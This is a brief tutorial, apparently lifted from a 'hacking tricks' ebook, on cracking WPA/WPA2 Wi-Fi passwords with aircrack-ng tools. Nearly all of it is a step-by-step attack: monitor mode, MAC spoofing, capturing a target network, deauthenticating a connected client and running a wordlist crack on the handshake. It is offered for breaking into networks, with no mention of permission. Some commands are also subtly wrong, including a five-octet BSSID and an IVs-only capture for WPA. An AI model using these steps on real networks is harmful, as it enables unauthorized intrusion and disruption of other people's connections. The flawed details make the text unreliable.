

How To Hack Wifi WPA/WPA2 Network :

//////////*1000+ HACKING TRICKS & TUTORIALS - ebook By Mukesh Bhardwaj Blogger - Paid Version - only @
TekGyd | itechhacks | Mukeshtricks4u*////////

Requirements:

BackTrack 5R3 or Kali Linux.

Steps to Follow:

Step 1 :

airmon-ng

The result will be something like :Interface Chipset Driver

wlan0 Intel 5100 iwlagn - [phy0]

Step 2 :airmon-ng start wlan0

Step 3 (Optional) :

Change the mac address of the mon0 interface.ifconfig mon0 down

macchanger -m 00:11:22:33:44:55 mon0

ifconfig mon0 up

Step 4 :airodump-ng mon0

Then, press "Ctrl+c" to break the program.

Step 5 :airodump-ng -c 3 -w wpacrack --bssid ff:ff:ff:ff:ff --ivs mon0

*where -c is the channel

-w is the file to be written

--bssid is the BSSID

This terminal is keeping running.

Step 6 :

open another terminal.aireplay-ng -0 1 -a ff:ff:ff:ff:ff:ff -c 99:88:77:66:55:44 mon0

*where -a is the BSSID

-c is the client MAC address (STATION)

Wait for the handshake.

Step 7 :

Use the John the Ripper as word list to crack the WPA/WP2 password.aircrack-ng -w

/pentest/passwords/john/password.lst wpacrack-01.ivs

//////////*1000+ HACKING TRICKS & TUTORIALS - ebook By Mukesh Bhardwaj Blogger - Paid Version - only @
TekGyd | itechhacks | Mukeshtricks4u*////////

